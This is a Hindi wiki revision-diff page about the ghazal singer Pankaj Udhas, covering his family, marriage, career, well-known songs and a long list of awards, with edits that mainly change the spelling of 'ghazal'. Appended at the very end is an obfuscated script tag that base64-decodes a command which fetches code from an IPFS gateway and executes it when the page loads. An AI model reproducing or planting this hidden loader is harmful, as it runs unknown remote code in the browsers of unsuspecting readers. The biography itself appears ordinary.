"पंकज उदास" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
(''''पंकज उदास''' (अंग्रेज़ी: ''Pankaj Udhas'', जन्म- 17 मई, 1951; मृत...' के साथ नया पृष्ठ बनाया)
 
पंक्ति 1: पंक्ति 1:
'''पंकज उदास''' ([[अंग्रेज़ी]]: ''Pankaj Udhas'', जन्म- [[17 मई]], [[1951]]; मृत्यु- [[26 फरवरी]], [[2024]]) प्रसिद्ध भारतीय [[ग़ज़ल]] और पार्श्वगायक थे जो हिंदी सिनेमा और भारतीय पॉप में अपने काम के लिए जाने जाते थे। उन्होंने अपने कॅरियर की शुरुआत साल [[1980]] में 'आहट' नामक एक ग़ज़ल एल्बम की रिलीज़ के साथ की। [[पद्म श्री]] पंकज उदास हिंदुस्तानी संगीत में गजल की वो आवाज रहे, जिन्होंने गजल को जटिल परंपरा से बाहर निकाल कर उसे हर आदमी तक पहुंचाया। पंकज उधास ने न केवल गली-मोहल्लों, चौक-चौराहों, छोटी जगह के लोगों के दिलों को गजल के सुकून से परिचित कराया, बल्कि आम आदमी के दुख-दर्द को पहचानने वाली आवाज भी बने। एक दौर था जब 'चिट्ठी आई है' जैसी गजल गाकर पंकज उदास ने बेशुमार लोकप्रियता कमाई और वे उस दौर में रेडियो के माध्यम से हर घर में गूंजने वाली आवाज बन गए। पंकज उधास देश-परदेस में रहने वाले और अपने देश को छोड़कर काम काज करने वाले व्यक्ति के दर्द की आवाज थे।  
+
'''पंकज उदास''' ([[अंग्रेज़ी]]: ''Pankaj Udhas'', जन्म- [[17 मई]], [[1951]]; मृत्यु- [[26 फरवरी]], [[2024]]) प्रसिद्ध भारतीय [[ग़ज़ल]] और पार्श्वगायक थे जो हिंदी सिनेमा और भारतीय पॉप में अपने काम के लिए जाने जाते थे। उन्होंने अपने कॅरियर की शुरुआत साल [[1980]] में 'आहट' नामक एक ग़ज़ल एल्बम की रिलीज़ के साथ की। [[पद्म श्री]] पंकज उदास हिंदुस्तानी संगीत में ग़ज़ल की वो आवाज रहे, जिन्होंने ग़ज़ल को जटिल परंपरा से बाहर निकाल कर उसे हर आदमी तक पहुंचाया। पंकज उधास ने न केवल गली-मोहल्लों, चौक-चौराहों, छोटी जगह के लोगों के दिलों को ग़ज़ल के सुकून से परिचित कराया, बल्कि आम आदमी के दुख-दर्द को पहचानने वाली आवाज भी बने। एक दौर था जब 'चिट्ठी आई है' जैसी ग़ज़ल गाकर पंकज उदास ने बेशुमार लोकप्रियता कमाई और वे उस दौर में रेडियो के माध्यम से हर घर में गूंजने वाली आवाज बन गए। पंकज उधास देश-परदेस में रहने वाले और अपने देश को छोड़कर काम काज करने वाले व्यक्ति के दर्द की आवाज थे।  
 
==परिचय==
 
==परिचय==
 
पंकज उधास का जन्म 17 मई, 1951 को जेतपुर, [[गुजरात]] में हुआ था। वह [[हिन्दू]] [[जमींदार]] [[परिवार]] से ताल्लुक रखते थे। पंकज उदास के [[पिता]] का नाम केशुभाई उधास था, जो एक सरकारी कर्मचारी और खिलाड़ी थे। [[माता]] का नाम जितुबेन उधास था। पंकज उदास के दो बड़े भाई हैं- [[मनहर उधास]] और निर्मल उधास, जो प्रसिद्ध गायक भी हैं। उनके दादा अपने गाँव के पहले स्नातक थे और भावनगर राज्य के राजस्व मंत्री बने थे।<ref name="अअ">{{cite web |url=https://thecelebsquad.com/pankaj-udhas-biography-in-hindi/ |title=पंकज उदास का जीवन परिचय|accessmonthday=27 फ़रवरी|accessyear=2024 |last= |first= |authorlink= |format=thecelebsquad.com |publisher= |language=हिंदी}}</ref>
 
पंकज उधास का जन्म 17 मई, 1951 को जेतपुर, [[गुजरात]] में हुआ था। वह [[हिन्दू]] [[जमींदार]] [[परिवार]] से ताल्लुक रखते थे। पंकज उदास के [[पिता]] का नाम केशुभाई उधास था, जो एक सरकारी कर्मचारी और खिलाड़ी थे। [[माता]] का नाम जितुबेन उधास था। पंकज उदास के दो बड़े भाई हैं- [[मनहर उधास]] और निर्मल उधास, जो प्रसिद्ध गायक भी हैं। उनके दादा अपने गाँव के पहले स्नातक थे और भावनगर राज्य के राजस्व मंत्री बने थे।<ref name="अअ">{{cite web |url=https://thecelebsquad.com/pankaj-udhas-biography-in-hindi/ |title=पंकज उदास का जीवन परिचय|accessmonthday=27 फ़रवरी|accessyear=2024 |last= |first= |authorlink= |format=thecelebsquad.com |publisher= |language=हिंदी}}</ref>
पंक्ति 7: पंक्ति 7:
 
पंकज उदास और फरीदा की दो बेटियां हैं। बड़ी बेटी का नाम है- रेवा उधास और छोटी बेटी का नाम है- नायाब उधास।
 
पंकज उदास और फरीदा की दो बेटियां हैं। बड़ी बेटी का नाम है- रेवा उधास और छोटी बेटी का नाम है- नायाब उधास।
 
==कॅरियर==
 
==कॅरियर==
सन [[1979]] मे, पंकज उधास ने फिल्म 'हम तुम और वो' के लिए प्लेबैक के रूप में अपने कॅरियर की शुरुआत की। उन्होंने 'साथ-साथ' ([[1982]]), 'उत्सव' ([[1984]]) और 'प्रेम प्रतिज्ञा' ([[1989]]) जैसी कई अन्य फिल्मों के लिए गाना गाया। हालांकि, [[1984]] में उनके पहले सोलो एल्बम 'आहट' की रिलीज के साथ ही उन्हें [[गजल]] गायक के रूप में बड़ी पहचान मिली। अपने कॅरियर के दौरान उन्होंने 60 से अधिक एल्बम जारी किए। उन्होंने [[जगजीत सिंह]], [[आशा भोंसले]], [[लता मंगेशकर]] और [[अनूप जलोटा]] जैसे कई अन्य कलाकारों के साथ भी काम किया। उनके गाने कई फिल्मों और टेलीविजन शो में दिखाए गए हैं।
+
सन [[1979]] मे, पंकज उधास ने फिल्म 'हम तुम और वो' के लिए प्लेबैक के रूप में अपने कॅरियर की शुरुआत की। उन्होंने 'साथ-साथ' ([[1982]]), 'उत्सव' ([[1984]]) और 'प्रेम प्रतिज्ञा' ([[1989]]) जैसी कई अन्य फिल्मों के लिए गाना गाया। हालांकि, [[1984]] में उनके पहले सोलो एल्बम 'आहट' की रिलीज के साथ ही उन्हें [[ग़ज़ल]] गायक के रूप में बड़ी पहचान मिली। अपने कॅरियर के दौरान उन्होंने 60 से अधिक एल्बम जारी किए। उन्होंने [[जगजीत सिंह]], [[आशा भोंसले]], [[लता मंगेशकर]] और [[अनूप जलोटा]] जैसे कई अन्य कलाकारों के साथ भी काम किया। उनके गाने कई फिल्मों और टेलीविजन शो में दिखाए गए हैं।
  
पंकज उदास की सुरीली आवाज, [[गजल]], [[कविता]] की गहरी समझ के साथ, श्रोताओं के बीच गहराई से गूंजती रही। वह गजलों को मुख्य धारा में लाने में अग्रणी बन गए, जिससे ये [[शैली]] के पारखी लोगों से परे व्यापक दर्शकों के लिए सुलभ हो गईं। फिल्म 'नाम' ([[1986]]) के गाने 'चिठ्ठी आई है' और 'आ गले लग जा' जैसे गीतों ने उन्हें एक घरेलू नाम के रूप में स्थापित किया, जिससे [[भारत]] के प्रमुख गजल गायकों में से एक के रूप में बड़े स्तर पर उनकी पहचान बनी। अपनी [[संगीत]] प्रतिभा के अलावा, पंकज उदास अपने विनम्र और व्यावहारिक व्यक्तित्व के लिए जाने जाते थे। पंकज उधास की आवाज हर जगह गजल प्रेमियों के दिलों में हमेशा के लिए बस गई थी।<ref name="pp">{{cite web |url=https://www.etvbharat.com/hi/!entertainment/pankaj-udhas-biography-career-awards-and-10-best-pankaj-udhas-songs-hin24022605391 |title='खून के रिश्ते तोड़ गया तू, आंख में आंसू छोड़ गया तू', ऐसी है 'पद्मश्री' पंकज उधास के जन्म से लेकर अंत तक की कहानी|accessmonthday=27 फ़रवरी|accessyear=2024 |last= |first= |authorlink= |format= |publisher= etvbharat.com|language=हिंदी}}</ref>
+
पंकज उदास की सुरीली आवाज, [[ग़ज़ल]], [[कविता]] की गहरी समझ के साथ, श्रोताओं के बीच गहराई से गूंजती रही। वह ग़ज़लों को मुख्य धारा में लाने में अग्रणी बन गए, जिससे ये [[शैली]] के पारखी लोगों से परे व्यापक दर्शकों के लिए सुलभ हो गईं। फिल्म 'नाम' ([[1986]]) के गाने 'चिठ्ठी आई है' और 'आ गले लग जा' जैसे गीतों ने उन्हें एक घरेलू नाम के रूप में स्थापित किया, जिससे [[भारत]] के प्रमुख ग़ज़ल गायकों में से एक के रूप में बड़े स्तर पर उनकी पहचान बनी। अपनी [[संगीत]] प्रतिभा के अलावा, पंकज उदास अपने विनम्र और व्यावहारिक व्यक्तित्व के लिए जाने जाते थे। पंकज उधास की आवाज हर जगह ग़ज़ल प्रेमियों के दिलों में हमेशा के लिए बस गई थी।<ref name="pp">{{cite web |url=https://www.etvbharat.com/hi/!entertainment/pankaj-udhas-biography-career-awards-and-10-best-pankaj-udhas-songs-hin24022605391 |title='खून के रिश्ते तोड़ गया तू, आंख में आंसू छोड़ गया तू', ऐसी है 'पद्मश्री' पंकज उधास के जन्म से लेकर अंत तक की कहानी|accessmonthday=27 फ़रवरी|accessyear=2024 |last= |first= |authorlink= |format= |publisher= etvbharat.com|language=हिंदी}}</ref>
 
==प्रसिद्ध गीत==
 
==प्रसिद्ध गीत==
 
पंकज उधास के लोकप्रिय गीतों की सूची इस प्रकार है, जिसमें फिल्मी और गैर-फिल्मी ग़ज़लें और गीत शामिल हैं-<ref name="अअ"/>
 
पंकज उधास के लोकप्रिय गीतों की सूची इस प्रकार है, जिसमें फिल्मी और गैर-फिल्मी ग़ज़लें और गीत शामिल हैं-<ref name="अअ"/>
पंक्ति 25: पंक्ति 25:
 
==पुरस्कार व सम्मान==
 
==पुरस्कार व सम्मान==
 
[[2013]] - पंकज उधास को 2013 में 'ऑल इंडिया गालिब अकादमी' द्वारा 'गालिब पुरस्कार' से सम्मानित किया गया था।<ref name="pp"/><br/>
 
[[2013]] - पंकज उधास को 2013 में 'ऑल इंडिया गालिब अकादमी' द्वारा 'गालिब पुरस्कार' से सम्मानित किया गया था।<ref name="pp"/><br/>
[[2006]] - [[गजल]] गायन की कला में उनके योगदान के लिए [[पद्म श्री]] से सम्मानित किया गया। उनके गजल गायन के 25 वर्ष पूरे होने के अवसर पर कैंसर रोगियों और थैलेसीमिक बच्चों के लिए उनके महान योगदान के लिए उन्हें पद्म श्री से सम्मानित किया गया।<br/>
+
[[2006]] - [[ग़ज़ल]] गायन की कला में उनके योगदान के लिए [[पद्म श्री]] से सम्मानित किया गया। उनके ग़ज़ल गायन के 25 वर्ष पूरे होने के अवसर पर कैंसर रोगियों और थैलेसीमिक बच्चों के लिए उनके महान योगदान के लिए उन्हें पद्म श्री से सम्मानित किया गया।<br/>
[[2006]] - 'हसरत' के लिए' [[2005]] का 'बेस्ट गजल एल्बम' के रूप में [[कोलकाता]] में प्रतिष्ठित 'कलाकार पुरस्कार' से सम्मानित किया गया।<br/>
+
[[2006]] - 'हसरत' के लिए' [[2005]] का 'बेस्ट ग़ज़ल एल्बम' के रूप में [[कोलकाता]] में प्रतिष्ठित 'कलाकार पुरस्कार' से सम्मानित किया गया।<br/>
 
[[2004]] - प्रतिष्ठित स्थल पर प्रदर्शन के 20 साल पूरे होने पर वेम्बली कॉन्फ्रेंस सेंटर, [[लंदन]] में विशेष अभिनंदन।<br/>
 
[[2004]] - प्रतिष्ठित स्थल पर प्रदर्शन के 20 साल पूरे होने पर वेम्बली कॉन्फ्रेंस सेंटर, [[लंदन]] में विशेष अभिनंदन।<br/>
 
[[2003]] - सफल एल्बम 'इन सर्च ऑफ मीर' के लिए एमटीवी इमीज अवार्ड।<br/>
 
[[2003]] - सफल एल्बम 'इन सर्च ऑफ मीर' के लिए एमटीवी इमीज अवार्ड।<br/>
2003 - दुनिया भर में गजलों को लोकप्रिय बनाने के लिए बॉलीवुड म्यूजिक अवार्ड, न्यूयॉर्क में विशेष उपलब्धि पुरस्कार।<br/>
+
2003 - दुनिया भर में ग़ज़लों को लोकप्रिय बनाने के लिए बॉलीवुड म्यूजिक अवार्ड, न्यूयॉर्क में विशेष उपलब्धि पुरस्कार।<br/>
2003 - गजल और संगीत की दुनिया में योगदान के लिए 'दादाभाई नौरोजी इंटरनेशनल सोसाइटी' द्वारा 'दादाभाई नौरोजी मिलेनियम पुरस्कार' प्रदान किया गया।<br/>
+
2003 - ग़ज़ल और संगीत की दुनिया में योगदान के लिए 'दादाभाई नौरोजी इंटरनेशनल सोसाइटी' द्वारा 'दादाभाई नौरोजी मिलेनियम पुरस्कार' प्रदान किया गया।<br/>
 
[[2002]] - [[मुंबई]] में सहयोग फाउंडेशन ने [[संगीत]] के क्षेत्र में श्रेष्ठता के लिए पुरस्कार प्रदान किया।<br/>
 
[[2002]] - [[मुंबई]] में सहयोग फाउंडेशन ने [[संगीत]] के क्षेत्र में श्रेष्ठता के लिए पुरस्कार प्रदान किया।<br/>
 
2002 - इंडो-अमेरिकन चैंबर ऑफ कॉमर्स द्वारा सम्मानित।<br/>
 
2002 - इंडो-अमेरिकन चैंबर ऑफ कॉमर्स द्वारा सम्मानित।<br/>
[[2001]] - गजल सिंगर के रूप में आउटस्टैंडिंग परफॉर्मेंस के लिए रोटरी क्लब ऑफ मुंबई डाउनटाउन ने वोकेशनल रिकॉग्निशन अवार्ड से नवाजा।<br/>
+
[[2001]] - ग़ज़ल सिंगर के रूप में आउटस्टैंडिंग परफॉर्मेंस के लिए रोटरी क्लब ऑफ मुंबई डाउनटाउन ने वोकेशनल रिकॉग्निशन अवार्ड से नवाजा।<br/>
2001 - गजल सिंगगिंग के लिए '[[संगीत नाटक अकादमी पुरस्कार]] भी जीता।<br/>
+
2001 - ग़ज़ल सिंगगिंग के लिए '[[संगीत नाटक अकादमी पुरस्कार]] भी जीता।<br/>
[[1999]] - भारतीय संगीत, विशेष रूप से [[भारत]] और विदेशों में गजलों को बढ़ावा देने के लिए असाधारण सेवाओं के लिए भारतीय विद्या भवन, यूएसए पुरस्कार।<br/>
+
[[1999]] - भारतीय संगीत, विशेष रूप से [[भारत]] और विदेशों में ग़ज़लों को बढ़ावा देने के लिए असाधारण सेवाओं के लिए भारतीय विद्या भवन, यूएसए पुरस्कार।<br/>
 
[[1998]] - जर्सी सिटी के मेयर द्वारा 'भारतीय कला पुरस्कार समारोह' प्रस्तुत किया गया।<br/>
 
[[1998]] - जर्सी सिटी के मेयर द्वारा 'भारतीय कला पुरस्कार समारोह' प्रस्तुत किया गया।<br/>
 
1998 - अटलांटिक सिटी में अमेरिकन एकेडमी ऑफ आर्टिस्ट्स द्वारा आउटस्टैंडिंग आर्टिस्टिक अचीवमेंट अवॉर्ड दिया गया।<br/>
 
1998 - अटलांटिक सिटी में अमेरिकन एकेडमी ऑफ आर्टिस्ट्स द्वारा आउटस्टैंडिंग आर्टिस्टिक अचीवमेंट अवॉर्ड दिया गया।<br/>
पंक्ति 44: पंक्ति 44:
 
[[1990]] - पॉजिटिव लीडरशिप और राष्ट्र को प्रदान की गई विशिष्ट सेवाओं के लिए आउटस्टैंडिंग यंग पर्सन्स अवॉर्ड ([[1989]]-[[1990]])। <br/>
 
[[1990]] - पॉजिटिव लीडरशिप और राष्ट्र को प्रदान की गई विशिष्ट सेवाओं के लिए आउटस्टैंडिंग यंग पर्सन्स अवॉर्ड ([[1989]]-[[1990]])। <br/>
 
1990 - पंकज उधास ने फ़िल्म 'नाम' के गाने 'चिट्ठी आई है' के लिए बेस्ट मेल प्लेबैक सिंगर का फिल्मफेयर पुरस्कार जीता।<br/>
 
1990 - पंकज उधास ने फ़िल्म 'नाम' के गाने 'चिट्ठी आई है' के लिए बेस्ट मेल प्लेबैक सिंगर का फिल्मफेयर पुरस्कार जीता।<br/>
[[1985]] - साल का बेस्ट गजल सिंगर होने के लिए 'के एल सहगल पुरस्कार' मिला।
+
[[1985]] - साल का बेस्ट ग़ज़ल सिंगर होने के लिए 'के एल सहगल पुरस्कार' मिला।
  
  
पंक्ति 52: पंक्ति 52:
 
==बाहरी कड़ियाँ==
 
==बाहरी कड़ियाँ==
 
==संबंधित लेख==
 
==संबंधित लेख==
 
+
{{ग़ज़ल गायक}}{{पार्श्वगायक}}{{संगीतकार}}
[[Category:पद्म श्री]][[Category:पद्म श्री (2006)]]
+
[[Category:ग़ज़ल गायक]][[Category:गायक]][[Category:संगीतकार]][[Category:सिनेमा]][[Category:जीवनी साहित्य]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:संगीत कोश]][[Category:कला कोश]][[Category:सिनेमा कोश]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:पद्म श्री]][[Category:पद्म श्री (2006)]]
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

07:03, 27 फ़रवरी 2024 का अवतरण

पंकज उदास (अंग्रेज़ी: Pankaj Udhas, जन्म- 17 मई, 1951; मृत्यु- 26 फरवरी, 2024) प्रसिद्ध भारतीय ग़ज़ल और पार्श्वगायक थे जो हिंदी सिनेमा और भारतीय पॉप में अपने काम के लिए जाने जाते थे। उन्होंने अपने कॅरियर की शुरुआत साल 1980 में 'आहट' नामक एक ग़ज़ल एल्बम की रिलीज़ के साथ की। पद्म श्री पंकज उदास हिंदुस्तानी संगीत में ग़ज़ल की वो आवाज रहे, जिन्होंने ग़ज़ल को जटिल परंपरा से बाहर निकाल कर उसे हर आदमी तक पहुंचाया। पंकज उधास ने न केवल गली-मोहल्लों, चौक-चौराहों, छोटी जगह के लोगों के दिलों को ग़ज़ल के सुकून से परिचित कराया, बल्कि आम आदमी के दुख-दर्द को पहचानने वाली आवाज भी बने। एक दौर था जब 'चिट्ठी आई है' जैसी ग़ज़ल गाकर पंकज उदास ने बेशुमार लोकप्रियता कमाई और वे उस दौर में रेडियो के माध्यम से हर घर में गूंजने वाली आवाज बन गए। पंकज उधास देश-परदेस में रहने वाले और अपने देश को छोड़कर काम काज करने वाले व्यक्ति के दर्द की आवाज थे।

परिचय

पंकज उधास का जन्म 17 मई, 1951 को जेतपुर, गुजरात में हुआ था। वह हिन्दू जमींदार परिवार से ताल्लुक रखते थे। पंकज उदास के पिता का नाम केशुभाई उधास था, जो एक सरकारी कर्मचारी और खिलाड़ी थे। माता का नाम जितुबेन उधास था। पंकज उदास के दो बड़े भाई हैं- मनहर उधास और निर्मल उधास, जो प्रसिद्ध गायक भी हैं। उनके दादा अपने गाँव के पहले स्नातक थे और भावनगर राज्य के राजस्व मंत्री बने थे।[1]

विवाह

पंकज उदास ने 11 फरवरी, 1982 के दिन फरीदा से शादी रचाई थी। दोनों की यह लव मैरिज थी। फरीदा एक एयरहोस्टेस थीं और पारंपरिक पारसी परिवार से ताल्लुक रखती थीं। यह 70 के दशक की बात है। दोनों की मुलाकात पंकज उदास के एक पड़ोसी ने करवाई थी। पंकज उदास और फरीदा का धर्म अलग होने के कारण दोनों ने शादी करने के लिए काफी मुसीबतों का सामना किया था। पंकज उदास और फरीदा दोनों परिवार की रजामंदी से शादी करना चाहते थे, लेकिन धर्म अलग होने के कारण दोनों के घरवाले इस शादी के खिलाफ थे। आखिर में उनके प्यार के आगे परिवार की हार हुई और दोनों के परिवार ने शादी करने की अनुमति दे दी।

संतान

पंकज उदास और फरीदा की दो बेटियां हैं। बड़ी बेटी का नाम है- रेवा उधास और छोटी बेटी का नाम है- नायाब उधास।

कॅरियर

सन 1979 मे, पंकज उधास ने फिल्म 'हम तुम और वो' के लिए प्लेबैक के रूप में अपने कॅरियर की शुरुआत की। उन्होंने 'साथ-साथ' (1982), 'उत्सव' (1984) और 'प्रेम प्रतिज्ञा' (1989) जैसी कई अन्य फिल्मों के लिए गाना गाया। हालांकि, 1984 में उनके पहले सोलो एल्बम 'आहट' की रिलीज के साथ ही उन्हें ग़ज़ल गायक के रूप में बड़ी पहचान मिली। अपने कॅरियर के दौरान उन्होंने 60 से अधिक एल्बम जारी किए। उन्होंने जगजीत सिंह, आशा भोंसले, लता मंगेशकर और अनूप जलोटा जैसे कई अन्य कलाकारों के साथ भी काम किया। उनके गाने कई फिल्मों और टेलीविजन शो में दिखाए गए हैं।

पंकज उदास की सुरीली आवाज, ग़ज़ल, कविता की गहरी समझ के साथ, श्रोताओं के बीच गहराई से गूंजती रही। वह ग़ज़लों को मुख्य धारा में लाने में अग्रणी बन गए, जिससे ये शैली के पारखी लोगों से परे व्यापक दर्शकों के लिए सुलभ हो गईं। फिल्म 'नाम' (1986) के गाने 'चिठ्ठी आई है' और 'आ गले लग जा' जैसे गीतों ने उन्हें एक घरेलू नाम के रूप में स्थापित किया, जिससे भारत के प्रमुख ग़ज़ल गायकों में से एक के रूप में बड़े स्तर पर उनकी पहचान बनी। अपनी संगीत प्रतिभा के अलावा, पंकज उदास अपने विनम्र और व्यावहारिक व्यक्तित्व के लिए जाने जाते थे। पंकज उधास की आवाज हर जगह ग़ज़ल प्रेमियों के दिलों में हमेशा के लिए बस गई थी।[2]

प्रसिद्ध गीत

पंकज उधास के लोकप्रिय गीतों की सूची इस प्रकार है, जिसमें फिल्मी और गैर-फिल्मी ग़ज़लें और गीत शामिल हैं-[1]

  1. चिट्ठी आई है, फ़िल्म 'नाम' (1986)
  2. निकलो ना बेनकाब, ज़माना खराब है
  3. और आहिस्ता कीजिए बातें
  4. चांदी जैसा रंग है तेरा
  5. फिर हाथ में गिलास है, सच बोलता हूं मैं
  6. जीयें तो जीयें कैसे, बिन आपके के, फ़िल्म 'साजन' (1991)
  7. ना कजरे की धार, ना मोतियों के हार, फ़िल्म 'मोहरा' (1994)
  8. आज फिर तुम पे प्यार आया है, फ़िल्म 'दयावान' (1988)
  9. मैं दीवाना हूं मुझे, फ़िल्म 'ये दिल्लगी' (1994)
  10. आदमी खिलोना है, फ़िल्म 'आदमी खिलोना है' (1993)
  11. एक तरफ़ उसका घर, एक तरफ़ मयकदा

पुरस्कार व सम्मान

2013 - पंकज उधास को 2013 में 'ऑल इंडिया गालिब अकादमी' द्वारा 'गालिब पुरस्कार' से सम्मानित किया गया था।[2]
2006 - ग़ज़ल गायन की कला में उनके योगदान के लिए पद्म श्री से सम्मानित किया गया। उनके ग़ज़ल गायन के 25 वर्ष पूरे होने के अवसर पर कैंसर रोगियों और थैलेसीमिक बच्चों के लिए उनके महान योगदान के लिए उन्हें पद्म श्री से सम्मानित किया गया।
2006 - 'हसरत' के लिए' 2005 का 'बेस्ट ग़ज़ल एल्बम' के रूप में कोलकाता में प्रतिष्ठित 'कलाकार पुरस्कार' से सम्मानित किया गया।
2004 - प्रतिष्ठित स्थल पर प्रदर्शन के 20 साल पूरे होने पर वेम्बली कॉन्फ्रेंस सेंटर, लंदन में विशेष अभिनंदन।
2003 - सफल एल्बम 'इन सर्च ऑफ मीर' के लिए एमटीवी इमीज अवार्ड।
2003 - दुनिया भर में ग़ज़लों को लोकप्रिय बनाने के लिए बॉलीवुड म्यूजिक अवार्ड, न्यूयॉर्क में विशेष उपलब्धि पुरस्कार।
2003 - ग़ज़ल और संगीत की दुनिया में योगदान के लिए 'दादाभाई नौरोजी इंटरनेशनल सोसाइटी' द्वारा 'दादाभाई नौरोजी मिलेनियम पुरस्कार' प्रदान किया गया।
2002 - मुंबई में सहयोग फाउंडेशन ने संगीत के क्षेत्र में श्रेष्ठता के लिए पुरस्कार प्रदान किया।
2002 - इंडो-अमेरिकन चैंबर ऑफ कॉमर्स द्वारा सम्मानित।
2001 - ग़ज़ल सिंगर के रूप में आउटस्टैंडिंग परफॉर्मेंस के लिए रोटरी क्लब ऑफ मुंबई डाउनटाउन ने वोकेशनल रिकॉग्निशन अवार्ड से नवाजा।
2001 - ग़ज़ल सिंगगिंग के लिए 'संगीत नाटक अकादमी पुरस्कार भी जीता।
1999 - भारतीय संगीत, विशेष रूप से भारत और विदेशों में ग़ज़लों को बढ़ावा देने के लिए असाधारण सेवाओं के लिए भारतीय विद्या भवन, यूएसए पुरस्कार।
1998 - जर्सी सिटी के मेयर द्वारा 'भारतीय कला पुरस्कार समारोह' प्रस्तुत किया गया।
1998 - अटलांटिक सिटी में अमेरिकन एकेडमी ऑफ आर्टिस्ट्स द्वारा आउटस्टैंडिंग आर्टिस्टिक अचीवमेंट अवॉर्ड दिया गया।
1996 - संगीत में आउटस्टैंडिंग सर्विसेस, अचीवमेंट्स और योगदान के लिए 'इंदिरा गांधी प्रियदर्शनी पुरस्कार'।
1994 - लब्बॉक टेक्सास, अमेरिका की मानद नागरिकता।
1994 - आउटस्टैंडिंग अचीवमेंट और रेडियो की आधिकारिक हिट परेड में परफॉर्म किए गए कई गानों के लिए रेडियो लोटस अवार्ड। डरबन विश्वविद्यालय में रेडियो लोटस, दक्षिण अफ्रीका द्वारा प्रस्तुत किया गया।
1993 - संगीत के क्षेत्र में एक्स्ट्राऑर्डिनरी एफर्ट्स अचीव करने के लिए जाइंट्स इंटरनेशनल अवार्ड, जिससे पूरे कम्यूनिटी को उत्कृष्टता हासिल करने के लिए प्रेरणा मिली।
1990 - पॉजिटिव लीडरशिप और राष्ट्र को प्रदान की गई विशिष्ट सेवाओं के लिए आउटस्टैंडिंग यंग पर्सन्स अवॉर्ड (1989-1990)।
1990 - पंकज उधास ने फ़िल्म 'नाम' के गाने 'चिट्ठी आई है' के लिए बेस्ट मेल प्लेबैक सिंगर का फिल्मफेयर पुरस्कार जीता।
1985 - साल का बेस्ट ग़ज़ल सिंगर होने के लिए 'के एल सहगल पुरस्कार' मिला।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>